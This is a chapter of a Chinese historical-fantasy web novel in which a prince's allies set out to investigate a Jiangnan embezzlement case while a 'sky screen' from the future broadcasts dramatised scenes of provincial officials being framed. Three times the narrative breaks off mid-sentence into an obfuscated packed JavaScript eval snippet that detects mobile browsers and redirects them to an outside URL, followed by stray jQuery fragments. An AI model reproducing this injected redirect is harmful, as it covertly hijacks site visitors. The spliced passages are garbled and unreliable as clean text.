有了立场之后要干什么? 要把立场不同的人全部解决掉。 这是所有人都心知肚明的事情,党争要剧烈起来了。就连天幕比起这场婚礼透露的信号来说,似乎都没有那么重要了。 玩笑一样的婚礼结束后,郑望将一封信给了顾月。 两个人之间什么都没说,只是行礼分别,回到了各自的岗位。 顾月作为校尉的职责是金陵城的巡逻,说是巡逻,但其实什么也不用干,兵马指挥司的诸位只是打个卡就勾肩搭背地去了酒楼,而这已经是常态。 没有人管,唯一知道的黑龙卫并不在意,他们只在意谁能作为“肥羊”,宰杀后献给云起帝。 顾月坐在自己的工位上,看着那些根本没什么用的报表,眉头皱的越来越紧。 “小顾,顾月,喂喂喂,听得见吗?” 一阵叽叽喳喳的声音响起,顾月抬起头,他桌前的窗户大开,露出外面精致的框景画面,盈盈的柳下水波。 一只翠绿的翠鸟点着脚从大开的窗户中飞进来,歪着头看着他,张开嘴吐出的却是人声。 鸟雀吐人言,但顾月却并不惊讶,他知道这又是国师点翠的手段,这位前辈同僚又来找他了。 “喂喂喂!听得见嘛听得见嘛听得见嘛——” 变成翠鸟的点翠好像真的变成了鸟,嘴里不停地叽叽喳喳,好像顾月如果不回答她就要一直这样叫下去。 顾月无奈,只能回了一句:“听得到,国师阁下……请冷静些。” 点翠完全不把自己当外人,跳了两下跳到顾月的肩膀上:“哎呀哎呀还是小顾你好,要是老君刚刚肯定又把我直接丢出去了。” 顾月:……那前辈您就不要做让丞相大人把您丢出去的事情好吗? 点翠摇头晃脑了一会儿,自己玩高兴了,终于想起来了正事,她侧到顾月耳边:“萧靖川自荐为江南巡抚,准备去管烂摊子啦!” 顾月点了点头,他也听到了这个消息,和其他哗然的各级官员不同,他知道这是萧靖川的一次邀请。 来吧,朕的三公,朕的手足,朕的肱骨,就像乾初那样,来到朕的身边吧,我们继续一起,创造一场名垂青史的伟业。 顾月有些想笑,他几乎能想象到萧靖川得意洋洋地说这话的样子,用丞相大人所说的话形容——就是中二。 点翠看顾月那张漂亮的脸上很快扬起一个弧度缓缓的笑容,真的有点绷不住了:“喂喂,提到萧靖川你就高兴成这样?当我不存在吗?” 于是顾月瞬间正色:“没有,国师阁下,我同样也很期待您的赴宴方式。” 点翠骄傲地哼了一声:“现在本祖师已经成功混成了国师府那个老头的新弟子——巫道就是好啊,纯看天赋,不看人情世故。江南是个烂摊子,但是也是个肥的流油的烂摊子,没有人会相信这里没有油水,国师作为三皇子党肯定要在里面插入自己的人——” 顾月瞬间明白了:“所以他选择了您?” 点翠点了点头:“新弟子,没有感情,天赋又不错,这不是最合适的人选吗?成功了就是新刀一把,失败了断尾求生也不可惜。” 顾月叹了口气:“我也是。” 他将那封来自郑望的信递了出去,展开给还是小鸟的点翠看。 【江南之事,我已按照你的意愿报了你的名字,此去各党势力错综复杂,请勿要忘记本心。】 那是一封没有落款的信,但是顾月知道那封信来自哪里——那封信的信纸,是他最熟悉的湘妃笺。 云梦泽畔,湘水女神湘夫人泣泪之斑竹做成的纸张,有明显的竹痕。 点翠歪了歪头:“兵部尚书?” 顾月点头。 点翠愣了:“派你去我倒是理解,你肯定自己跑去求了,就是好奇怪啊,怎么看上去这位尚书和你这具身体原来的意识很熟?” 顾月深深地看了眼那张只有故乡楚地云梦泽才能出产的纸笺,没有深想背后密密麻麻的暗中蛛网。 “谁知道呢?” 现在赶快去和陛下汇合才是最重要的,至于那些暗流涌动,“兵来将挡,水来土掩”,这是他最擅长的兵法。 ** 萧靖川启程的那一天,没有人来送他。 也没有什么好送的,云起帝零零散散地给他凑了一个看起来都让人发笑的巡抚班子,去调查徐琅留下来的一堆谜案,不仅要搞清楚被贪的那些钱究竟去了哪里,为何黑龙卫交上来的数目与真正的数目相差甚远,还要求顺便治理好积弊已久的海匪。 这些要求对六部尚书来说都算不上简单,奈何云起帝敢说,萧靖川这个傻子就敢接。 金陵城里一时间充满了嘲讽和阴阳怪气,所有人都觉得萧靖川这次是真的完蛋了,怕不是云起帝终于受不了这个丢脸的皇子,准备来一手借刀杀人,好名正言顺地摆脱这个污点。 但是漩涡中心的萧靖川却并不焦虑,面对云起帝给他凑出来的,各方势力精挑细选的难搞帮手,他甚至很高兴。 毕竟…… “所以老君,你是怎么过来的,我这几天跟着那个便宜爹孙子,可是听黑龙卫说你失踪了。” 萧靖川摸着下巴,坐在前往临安的偃术马车里,好奇地问到。 君右丞身份特殊,即使是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797877|189984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 户部尚书陈粟也不可能就这样把一个现在云起帝最恨的罪臣之子带到明面上来,为了给君右丞换身份,估计用了不少手段。 “陈粟用失踪搪塞了云起帝,捏造了户部一个九品小吏的身份给我。这些天一直没有联系大家,也是因为在处理这件事。” 君右丞揉了揉额角,他从活着开始就一直在揉额角,第一辈子出生在山河四省一直考考考,第二辈子和第三辈子又倒霉的时逢乱世,头就一直疼没有消停过。 “没事就好,爱卿要是出了事我会心疼死的。” 萧靖川随口一句话就是能让人死心塌地到死的魅魔语言,即使君右丞已经自诩心硬如铁,也没能躲过。 自古开国皇帝都是魅魔吗?君右丞心想,这五千年的传统太恐怖了。 “好了,现在,大家开诚布公吧。” 四个卷王一见面,一点叙旧都没说,就开始狂卷事业。 萧靖川拍了拍手,照骨镜的镜面亮了一下,打开了隔音结界。 这支队伍鱼龙混杂,六部,两党,黑龙卫全都来趟浑水,没有一个可以信任的人,那么干脆就全都隔离开来。 “三皇子的唯一目的是要钱。” 顾月张口就是个大的,而一旁因为车撵不同不得不再次变成翠鸟飞进来参加聚会的点翠也点了点头。 君右丞和萧靖川没想到这位三皇子这么直白,都有些惊诧。 “钱?户部都在他手里,他有这么缺钱?贪就算了,贪的这么着急的我还是第一次见。” 萧靖川都有点无语了,没想到这位看起来比太子还要城府深厚的沉稳三哥的目的居然这么……简单直接。 “说出来你们可能不信,但是我和小顾接到的任务只有这一个,不惜一切代价搞钱,不管怎么样,能把钱带回去就行,其他的都不重要。” 点翠摇了摇头,声音也有点唏嘘:“这么喜欢钱自己多印几张放家里铺床不就行了吗?他们又不打仗,仗都让北乾打了,这么着急要钱干什么?” 萧靖川一时间摸不到头脑,他和君右丞对视一眼,叹息一声:“看来我们的任务是一样的。云起帝和太子都想要搞清楚临安到底发生了什么,对他们来说,最重要的是徐琅一个江南巡抚是怎么把整个朝廷给瞒住的,还一瞒瞒了这么多年。” 萧靖川双手交叉,银色的眼睛中金辉闪烁:“正好我也很好奇……” 一个巡抚,怎么可能瞒住整个南乾,而经过他手的那数量额度可怕的银子,又都去了哪里,做了什么? 太子党和三皇子党现在装的和清流一样,但他们在这其中绝对不清白,说不定能找到同时扳倒这两个人的线索。 萧靖川想的很美好,但是赶不上现实变化太快。 他们还没出金陵范围,外面却响起了一阵阵惊呼。 “等等——那是什么?少司命的神木使者吗?” “神木使者又出现了?!” 不用侍从来问,萧靖川和顾月两个反应最快的武人已经撩起了车帘。 天幕之上,那熟悉的,来自后世的画面再次出现。 唯一的变量以无法阻挡的方式降临,并且不受任何权贵的影响,自顾自地放着自己足够掀起一个时代的惊涛骇浪的画面。 18.刀砍的都是江南(天幕) 扶桑开口,这次他没有多言,也没有向弹幕们打招呼,而是直接引入了正题。 【传言,西魏权臣宇文泰和苏绰有一段千古问对,即《宇文泰与苏绰问对》。】 【宇文泰,北周开国之君。以治国之道问苏绰,二人闭门密谈时,曾有以下对话问答。 宇文泰问:国何以立? 苏绰答:具官。 问:何为具官? 答:用贪官,反贪官。】 金陵城中的众人纷纷被这可怕的对话吓了一跳:不是?这是能说的吗?! 虽然不知道扶桑想要用这前朝旧事来表达什么,但是这主题就很不妙啊。 与看到天幕的金陵城众人形成鲜明对比,天幕上的弹幕对对话内容接受良好。 (用贪官,反贪官,简直是六字真言,多少皇帝都是这么干的,最后多少玩脱了。) (我好像知道主播接下来要讲哪段历史了……这段历史真的是将那个时代的黑暗展示的淋漓尽致。) (但是同时也是乾武帝大放异彩的时刻啊!简直是名场面!呜呜呜谁能忍住不对这么有魅力的谛听陛下手——根本忍不住啊!) (前面好像混进来了诡异的东西) (乾武帝!乾武帝!乾帝中的乾帝!男人中的男人!王!大师!巅峰!) (没想到乾武帝居然不是压轴的,不过也理解,那毕竟是乾武帝啊!即使是主播也忍不住暗搓搓提前了乾武帝的戏份吧?我看主播就是自己想讲!) …… 弹幕一提到乾武帝就激动的和爆炸了一样,溢美之词和一些奇怪的语言层出不穷,看的云行殿里正在办公的云起帝脸都黑了。 现在批奏折的可是他,既然这么受欢迎,能不能让那个被赞美的乾武帝出来和他一起批奏折?! 但天幕不以任何人的意志为转移,继续播放了下去。 扶桑笑了笑:【看来弹幕有人已经点破了我的小巧思,那么我们补上我们的老开场白:北灵帝的烂摊子是被三个人给接住的,之前我们已经讲了云起帝,那么接下来讲讲第二个人。本来按照重要程度这第二个人应该是最后来讲的,但是奈何我刚刚想到了一个更好的办法将他们的故事串联起来,所以——】 【很荣幸,接下来我们有请大乾第一救火队队长,救完南乾救北乾,玩cosplay玩的知名度最广的史上第一coser,最擅长将大局逆转的千古一帝守门员,大乾永远的定海神针,和自己太祖天天争抢“龙凤猪狗”里“狗”的位置的乾世祖武皇帝!】 (好多人啊,我们直播间坐不下这么多人x) (每次看到cosplay我都想笑,到底是哪个神人先想出来的) (还有龙凤猪狗,我真服了,两位武帝后世的代称怎么奇奇怪怪的) (这就是你们千古一帝吗?话说老萧家为什么是狗啊?) (因为乾太祖写的《谛听赋》吧,把自己比作白犬谛听,说要听到天下的民声,堪称自我犬塑第一人。) (前面的你凭什么定义狗一定是乾太祖,明明武帝也续了一篇,乾的千古一帝只有我们武帝!) (什么武帝,太祖才是第一人!) (……又吵起来了) 云起帝看到这里有点一个头两个大,怎么这位“乾武帝”子孙的粉丝天天都和太祖的粉丝吵架,这成何体统?! 扶桑也觉得有些不妙,连忙劝架:【好啦好啦大家不要吵,都是一家人,我们还是先来看看历史吧——乾武帝事业的开始,江南贪污案。】 整个金陵城的文武百官都条件反射地屏息凝神,死死盯着天幕。 之前天幕所讲的都是过去已经发生的事情,北灵帝虽然荒唐,但是那已经是七年前的事情了,断乾之乱尽管耻辱,却也没有影响到他们现在看得见抓的着的利益。 但现在正在御前被陛下上心的江南贪污案却不一样。 这个由江南巡抚徐琅开始的案件造成了无数江南官员被牵连革职,甚至影响到了金陵城,让一个吏部大员直接被犯了疯病的云起帝杀死在朝堂之上,诛灭三族。 六部两党,甚至是云起帝都为了这个案子焦头烂额,换句话说,这个案子相关的线索,现在几乎决定着每个人的仕途。 真正能看到影响的东西总是被人们抢着攥到手里的。 于是所有人都无比凝重地望着天幕,等待着扶桑使者接下来的透露。 哪怕是简单的几个字,也足够文武百官揣摩良久,因为这真正影响到了他们的切身利益。 但扶桑却没有按照他们所想的那样继续说下去,而是点开了另一个画面。 【在讲这段历史之前,我们先来看一段视频,这段视频是我觉得比较还原的一段当时的情景复现。也许通过这段视频,我们能更迅速地代入那个时代。】 接下来出现在天幕上的,是一段好像刚刚真实发生过的真实画面。 临安城,临安知府枭雨瞪大了眼睛,他看着出现在天幕上的自己和同事吴淖,突然有了种很不好的预感。 “吴淖!收拾行李!快!” 枭雨大喊。 【临安城中。 “新的江南巡抚……马上就来了,还是个皇子,那我们现在怎么办?直接上报吗?!” 江南按察副使吴淖是个看上去就脾气暴躁的长相,他摊了摊手,好像没有办法了一样,咬牙切齿地绝望道。 “上报上报?你上报给谁?越级上报可是大罪!” 临安知府枭雨身着他的知府官服,正焦虑地走来走去,闻言指着吴淖恨恨道:“你真是个疯子!这么大的事情都敢瞒着不告诉我直接自己偷偷干!你但凡提前和我说一声,何至于到现在这田地?!” 吴淖也知道自己理亏,他又摊了摊手:“我那不是看他们的户部和工部都做了,就想着不输他们,也来凑凑热闹嘛。我哪懂这个啊,他们让我做官我就来了啊……早知道谁来当江南的按察副使……天天赔钱……要不是我家里有钱这个官我都当不下去了。”】 他这话一出,金陵城内云行殿中,和三皇子前来述职的太子直接扑通一声就跪下来了。 云起帝甚至还在轻飘飘地用茶盖潎茶末,看都没有看他一眼,但是太子就是知道,自己接下来恐怕要没层皮。 云起帝对于三皇子和太子都是放养的态度,只要不闹的太难看,他们结党营私,他们搞的六部之间互相斗,云起帝都无所谓。 不如说,甚至还抱着一种观赏的态度注视着他们,毕竟黑龙卫能轻而易举地将两位皇子每天说过的每句话都分毫不差地呈给云起帝。 他从来没觉得这两个家伙能搞出什么大事。 但是现在看来……他还是太放纵他们了。 “什么叫户部和工部都做了,什么叫他们的?” 云起帝不紧不慢地重复了一遍天幕上吴淖的话,那双深不见底的眼睛让太子咚地一下子就把头磕了下去。 “父皇!儿臣冤枉!” 太子喊得嘶声力竭,看的一边的三皇子都有点无语。 你这个时候喊冤枉有什么用,你要分析利弊啊! 三皇子心想,他真是白和这个蠢哥哥斗了这么长时间。 云起帝眼底闪过一丝失望,天幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802335|189984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的画面还在继续,他挥了挥手:“你先跪着吧。” 太子几乎跌坐。 【“说什么你的户部他的工部,户部是大乾的户部,可不是什么他们的户部和他们的工部!” 枭雨显然比吴淖敏感的多,立马反应了过来,拉着吴淖的衣领,压低声音问道:“还说人家做什么,人家做什么和你有什么关系?你贪了多少?看在你和我是同年进士,还同出吴氏的份上,我看看有没有办法。”】 临安城。 看到自己和吴淖出现在天幕上的第一时间就开始收拾行李准备跑路的枭雨跌坐在地。 吴淖奇怪地看向他:“怎么不收拾了?” 枭雨麻木地苦笑:“我完蛋了,没必要收拾了,我必死了现在。” 另一边。 这是能直接说的吗? 这是现在整个金陵城的想法。 在南乾,互相瞒报在下级地方中是很正常的事情,甚至在金陵这些大官中也很常见,但是约定俗成归约定俗成,直接摆到明面上说归直接摆到明面上说,枭雨的这番话让整个金陵城瞬间哗然。 文武百官纷纷庆幸现在不是朝会时间,要不然不知道有多少好戏能看。 不过那也要有命看才行。 偃车中,君右丞叹了口气:“现在南乾官制竟混乱至此……” 人人都将互相掩盖瞒报当作再正常不过的事情,云起帝成为后帝真的不是没有理由的。 【“我贪了多少?我怎么可能贪?!不,我根本什么都没来得及贪!不光没贪,还赔了不少!修那个海防堤,上头说必须修必须修,不修就要把整个临安城吊起来打的架势,结果当时报的是十万,现在是十五万两都不止了!” 吴淖提到这事就想当委屈:“一百个我那点俸禄扔进去都没用!你知道吗?一百个都没用!我好不容易才从家里攀关系筹好了款,我就想不明白了,现在怎么变成了谁干的多,谁的委屈就大呢?这多花的银子,还是我自己全垫上的,为什么户部就是揪住不放呢?还倒打一耙!天知道他们居然是去当贪官的!” 枭雨被气的不轻,他死死抓着吴淖的衣领:“你蠢啊!有的东西不上秤只有四两重,上了称,一千斤都打不住。现在是什么档口?徐琅倒台了!君家都完了!你这时候去找户部要钱,他们不倒打一耙才怪!” 枭雨松开吴淖,自己踉踉跄跄地后退两步,直接坐在了旁边的椅子上。 他声音有点有气无力了:“你自己想!徐琅贪的钱有多少?三百万两,去年朝廷的收入才八百万两!他敢贪这么多,但是在他家里搜出来的才只有十万,你觉得急疯了的户部和刑部会干什么?” 吴淖这才有点反应过来了:“我靠!他们不会把我当作贪官去充业绩了吧?!” 枭雨一脸你才知道。 吴淖猛地起身:“凭什么!我的钱是真需要报啊!我要去向陛下请奏!把他们的官全免了!” 枭雨快给自己掐人中了,和着这个大傻子刚才完全没听到他说的那句越级上报是大罪。 “免吧!你要是行,那就把他们的官全都免了!” 枭雨没好气道。 “这好像还免不了吧?这么刺激的吗?咱们这个官职难道真能把他们全免了吗?” 吴淖这个时候开始长脑子了,但不多。 “你也知道免不了?卷进了徐琅的贪污案,咱们现在应该找办法把自己免了才安全!” 枭雨深吸一口气,他声音变得很轻很轻,但是在天幕上播放出来之后,却重若惊雷。 “真可笑啊,他们在上面拿刀斗,但砍的都是江南!”】 19.第三条路(天幕) 那句话的指控太严重,落在地上仿佛溅起了千钧的重量,让整个金陵城哗然。 “吴淖……枭雨……” 户部尚书陈粟在陈府院子里敲着石桌,他看向旁边的侍从:“现在吏部没有尚书,正是混乱的时候,你用我的关系去调查一下这两个人的出身。” 侍从很快呈了上来:“老爷刚刚吩咐的时候,下面的人就已经在办了。” 跟着陈粟来到南乾的都是义门陈氏的老人,作为传承已久的世家大族,横跨前朝晏,现乾两个王朝的名门,一些下属的反应速度比官场上的小官还要迅速。 陈粟满意地点点头,看向那两个名字。 两人全都是世家出身。吴淖出身于姑苏吴氏正脉,是名副其实的世家二代,而让人意外的是,枭雨也是吴氏出身,只不过是旁枝,当年为了避嫌乡里的主考官改了个姓氏随母姓。 “不妙啊……” 谁不知道太子一党的官员近乎全都是世家大族的出身。 天幕这一下把所有人都在疯狂隐瞒的真相揭露了出来,整个朝堂还不知道要变成什么样呢。 尤其是三皇子党,坚定的天幕推崇者国师绝对不可能放过这次重创对手的机会。 云行殿,云起帝直接将手中的茶杯砸到了太子身上。 他虽然天天都在炼丹,但是对于朝堂上的官员的来处出身心里和明镜似的,瞬间就对上了号,知道自己要砸谁。 太子跪在地上,抖的更厉害了,他是真不知道,为什么明明只是来述职,就偏偏撞上了天幕,撞上天幕也就算了,偏偏天幕还把世家众臣在江南的乱象全揭露了出来。 云起帝依旧一句话都没说,继续看着天幕上播放的东西。 另一边,姑苏城。 吴氏?吴氏已经开始试图改姓了,他们做梦也没有想到,将党争乱象揭露出来的人,不是三皇子党的那些寒门子弟,而是自己家里的公子。 “造孽哦,祖坟炸了啊……” 吴父看着天幕,只想把那个什么都说的傻儿子的嘴巴给缝上。 【“难道就没有办法了吗?!” 吴淖感觉自己要被气死了:“就由着这里这么乱下去,然后我们也每天晚上都睡不着吗?他们斗成这样,代价全都我们吃了,那我们为什么不就去金陵,去吏部,去督察院,大不了最后去午门——去问问朝廷!还有法理在吗?!” 枭雨真的有点没力气了:“你先停,我知道你义愤填膺,还吏部呢,你看没看到,君右丞的血还在堂上没擦干净——而且我们现在跑也来不及了,巡抚大人……六皇子的队伍马上就要到了,我们怎么跑?” “又出事了,又出事了!” 两个急得团团转的人还没有思考出来解决办法,就听见一个家丁急匆匆地冲了进来。 “大人——大人们!按察使召各位大人上府上急聚!” 枭雨闭上了眼睛。 两人急匆匆冲去了按察使的府上,却发现府上并没有聚集江南各地的实权官员们。 他们是唯二来到这里的客人。 枭雨闭上眼睛又想晕倒,被吴淖死死驾住:“你别晕啊!你晕了我怎么办啊!” 枭雨:大爷的这傻子该傻的时候不傻了!我晕了你就带我去找医生啊! 按察使已经在堂内恭候多时了,他看上去是个慈眉善目的老人,但是吴淖和枭雨共事已久,自然知道对方慈眉善目下是多么可怕的蛇蝎心肠。 徐琅那三百万里,估计有不少都是这位贡献的冤假错案榨出来的。 这位老上司没和他们废话,只是先装模作样地感慨了下徐琅真不是东西,辜负了君和,陛下,还有他对他的期望,然后把一张纸抖出来递给了枭雨。 枭雨看了看那张纸,脸色顿时从黑变白从白变绿,像是打了五色挑染盘。 “枭兄弟,签了吧,以本官做了三十年刑名的经验来看,你签了这东西,整个江南的乱象就可以结束了,是大功一件啊。” 按察使悠哉悠哉地继续品着茶,看上去完全不觉得把那张纸给枭雨有哪里不对。 吴淖看枭雨呆立的时间太长,连忙凑过去看,断断续续地念了出来:“罪臣临安知府枭雨伏阙认罪疏……” 吴淖狐疑地又看了枭雨一眼,这张认罪书上完全是枭雨自己的笔迹。 他继续念下去:“臣翔谨以戴罪之身,顿首再拜于丹陛之下: 徐琅一案,府库亏空计三百万七千两有奇。刑部会审追查,账目混沌难清。罪臣今日当坦白于圣听——此皆系罪臣一人所为。” 念到最后几个字的时候,吴淖的声音都变调了:“都是你一个人干的?!我靠你什么时候干的,你都不告诉我,我还在这里和傻子一样和你说自己遇到的不平事——” “你就是个傻子,快闭嘴吧!”枭雨忍无可忍,直接一手刀砍在吴淖的后颈上,可惜这人皮糙肉厚,完全没有被砍晕。 这封认罪书绝对不能签,这帽子太大了,他绝对不能认。 枭雨咬了咬牙,决定先晕为敬,一晕反正就签不了字了。 可惜两边随侍的人反应更快,他人还没倒下去,冰凉的茶水和掐人中的手就聚了上来,硬生生把他给疼醒了。 枭雨只得睁开眼睛。 “枭兄弟还是快认了吧,就当在任期的最后时刻造福一方百姓。” 按察使还是那副悠哉悠哉的样子,气得枭雨牙痒痒:你怎么不说我临安知府当的好好的,为什么变成在任期的最后时刻了呢? 吴淖这时候也意识到了不对劲,他突然开口:“枭雨,是不是你干的?” 枭雨能说什么?按察使还坐在上面呢,他说是也是是,不是也是是。 但是吴淖却好像罕见地长了脑子:“你既然不说话,那应该就不是你,你对自己做过的事情的态度一向是没什么好不认的——既然不是你做的,凭什么认?” 他挡在枭雨面前,抬头看向眼前的按察使:“长官,你我都是刑名出身,‘笔下勾决,笔下超生‘,这还是我……下官入职的第一天您告诉我的,您现在却……小心‘察狱如观火,失慎则自焚’啊!” 按察使却只是像看傻子一样看着吴淖:“吴副使,你是凭什么底气在这里和本官逞英雄呢?” 吴淖真的开始思考了,按官职他完全是按察使的下属,根本没有资格在这里对长官的事情指手画脚,他思考了一会儿,居然喊出了几个字:“家父姑苏吴氏吴诚!” 姑苏吴氏三代从官,世代入仕,是大乾有名的世家大族。 如果官职无法约束,那么世家呢? 吴淖天真地想。】 …… 沉默是今晚的金陵城。 不,是今晚的全南乾。 天幕高高在上,整个金陵城都看的清清楚楚,除了金陵城之外的地方,只有某些官员或者各行各业名流等人能看到。 偏偏这里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806951|189984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有吴家人。 吴父吴诚心想,祖坟果然爆炸了,他错了,当年就不该逼着吴淖学习考科举最后还给他买官买到按察副使上去的。 他为什么能看到天幕,他要是看不到就好了,那就可以自欺欺人什么都没有发生了。 虽然天幕里播放的是未来,而现在确实也什么都没有发生。 【“哈哈哈哈哈——!你父亲是吴诚有什么用,别说君和都死了,你父亲当年可是花了万两在我这里买的官职——如果再这么天真下去,一会儿你来替他签。” 按察使又敲了敲茶盖,颇有些恨铁不成钢。 吴诚那人挺精明的,怎么有个傻子儿子。 吴淖还想再说,但枭雨摇摇晃晃地站了起来。 “……上官可否给点宽限时间?” 枭雨的声音有点沙哑:“至少给下官遣散家中族眷的时间……下官三日后一定来签。” “看在曾经同僚一场的份上……一日后,没得商量。” 按察使悠哉悠哉地吹了下茶末,挥挥手让枭雨退下了。 吴淖咬牙切齿地还想去说什么公平,但是被枭雨拉着领子直接拽走,一路拽回了枭雨的府里。 路上的马车还颠簸的厉害,枭雨绝望的想:上面是恶官,下面是刁驿,同事还是傻子,中间的干不了一点。 “唉?你府里的园人这是在干什么?挖土种新花吗?” 去议事堂的路上,吴淖指着花园里的园人道。 “他们在干什么?他们是在给咱们挖坟!” 见枭雨的精神已经不太正常了,吴淖连忙举手投降:“我这是见您老着急,给您转移一下话题,怕直接讨论刚才的事情您听了心烦嘛!” “我不听难道就不用心烦了吗?!现在囚车已经等着我了!你也跑不了!” 枭雨快被气死了。 他深吸一口气:“我们成牺牲品了,他们能放弃我肯定也能放弃你,吴氏因为不重要,因为比不过其他的世家大族变成了第一个被放弃的世族,接下来就会出现第二个,第三个……现在为了搅浑贪污案的水就只有一步棋了,不管按察使头上是不是皇子,都甭想着自己能全须全尾地走出去!” 吴淖点点头:“我就知道你有办法,什么棋?” 枭雨:“只有更大的罪责能取代现在上头的视线中心,通海匪,或者通北乾,通朔。或者让他们两个三选三,直接全部带走!” 这下连吴淖都瞪大了眼睛:“……你疯了?” “都是他们逼的——他们该死!我要去见六皇子……能不能把自己的命保下来,只能死马当活马医了。” 枭雨顿了顿:“虽尘介之微,扬而裂金仙之袂。我不信整个朝廷没有人和我有一样的想法!” 枭雨斩钉截铁。】 金陵城中的某些官员听到这句话,都抬起了头。 他们都是在两党党争下分外痛苦,又身怀底线的人。 对啊……一样的想法。 太子党代表的世家贵族固守传统,三皇子党代表的断乾之乱中新兴的寒门却也只重金银享受。 朝堂向来不缺不同出身的有识之士,他们都在想着:有没有,有没有第三个选择呢? 为什么他们只能从两个同样糟糕的东西中选出一个? 哪怕第三个选择是个傻子…… 哪怕第三个选择是个傻子。 那么…… 傻子会回应他们吗? 20.大乾有律(天幕) “开什么玩笑!那是个傻子,求他能有什么用——” 虽然和大部分官员一样不知道枭雨的真实用意,但是看到勉强算是世家立场的枭雨病急乱投医到去找六皇子求助,太子急了。 他差点从地上跳起来,又被云起帝一茶碗砸了下去。 云起帝淡然:“让你起来了吗?” 太子抖着腿跪了下去。 三皇子还没来得及幸灾乐祸,就见云起帝阴冷的目光也看了过来:“你也跪下来,如果不是你参了君和,现在官场怎么可能是这种乱象?” 三皇子:……妈妈有人不讲理了!君和明明是你自己犯疯病一剑捅死的! 但是他脑子比太子稍微好用一些,至少他没有再去惹压着火气的云起帝,生怕一会儿把对方的疯病给气出来,然后横尸当场。 天幕还在继续。 【吴淖还是那副无脑的样子:“什么同样的想法?” 但这次枭雨没有回答他,而是转而认真地问:“我记得江南可是有江宁织造啊,你们刑名协助黑龙卫彻查徐琅的时候,难道没有查江宁织造?” 现在形势危急,江宁织造的库银拿出来应急也不失为一种办法。 吴淖摊了摊手,说到他本职工作的时候他又显得稍微有点脑子了:“查了,就连君和都被牵扯进来了,还没了三族,怎么可能放过一个小小的江宁织造,但是这就是最奇怪的地方——作为最大责任人的徐琅手下没有钱,作为第二责任人兼最大责任人顶头上官的君和也没有钱,而现在按理说在下游吃的盆满钵满的江宁织造居然也变成了穷光蛋。” 吴淖的声音沉了下来,他声音沉下来的时候居然显得很厚重神秘,厚重神秘到像是那凭空消失的三百万两白银。 “你说……这三百万两会去哪里?” 枭雨有一个想法,但是他不敢想下去了。 去了哪里? 只有金陵。 只有金陵能神不知鬼不觉地消化如此数额巨大的银子。】 画面暂时暂停,扶桑的笑脸又跳了出来。 【家人们不妨猜猜,这笔巨款究竟去了哪里?】 (还用猜吗?哈哈哈哈哈当然是去了金陵啦!) (毕竟此案真正意义上的幕后主使可是那个人。) 弹幕以轻松愉快的心情就这样轻而易举地把枭雨知道不敢说的真相给揭露了出来。 这下好了,整个金陵城全都炸锅了。 首当其冲的就是跪在云起帝身边的三皇子和太子。 云起帝周围的气压已经低到无法被靠近,云行殿的所有人都颤颤巍巍地抖着跪在地上。 事实证明,这还是很有必要的。 盛怒之下的云起帝天子剑出鞘,陪伴萧乾一百余年的神兵利器就这样深深地插入了太子和三皇子两人跪伏之地后面的高大红柱深处,还削掉了太子一缕头发。 太子差点趴地上。 三皇子暗自庆幸自己真幸运,发质比较贴头皮,不用倒这种霉。 “好啊……好啊……朕找了这么长时间的元凶原来在金陵城啊,就在朕的眼皮子底下。” 云起帝的声音没有很高,但是就是带着足以让所有人胆战心惊的可怕威势。 那是源自王权的威势。 “等扶桑使者说明真相……那潜藏在暗处的蠹虫……” 云起帝重新坐回了王位,他没有把话说完,但是整个大殿里的人都知道……很快金陵城就要开始大逃杀了。 天子剑应召而飞回,精准地投入了云起帝身侧的刀鞘,护世三剑自有灵智,会为自己的君主铲除一切障碍。 上次死了一个君家,这次要死多少人才能压下皇帝的怒火呢? 扶桑还在谜语人:【哈哈哈,看来大家都很清楚啊,既然大家都很清楚,那么我就不多说了,毕竟屏幕前的观众还是有不知道的不是吗?为了不影响这部分人的观看体验,我们就先继续播放ai复原片段。】 金陵城里的大多数人已经开始在心里偷偷骂扶桑使者,不是代表生命与活力的少司命吗?怎么奔着他们的命就来了? 天幕再这样谜语人下去,他们要怎么办啊!云起帝是真的会随机杀人的! 画面又回到了临安城。 只这次不再是枭雨自己的府邸。 【临安城,公堂。 枭雨早就料到,按察使不会这么好心,真的给他一天时间,无外乎不想在吴淖这半个自己人面前闹的太难看,或者是他们也有要打点的地方还没有打点好,没法让他这个替罪羊现在就上火烤。 但是他没想到,这帮人居然真的大胆到堂而皇之地趁吴淖被他支开,直接将他劫到了临安公堂。 “天理”二字在堂后昭昭,“公义”二字在堂前赫赫,但按察使并不在意那些装饰性般的字迹,悠哉悠哉地喝着茶。 西湖的好茶。 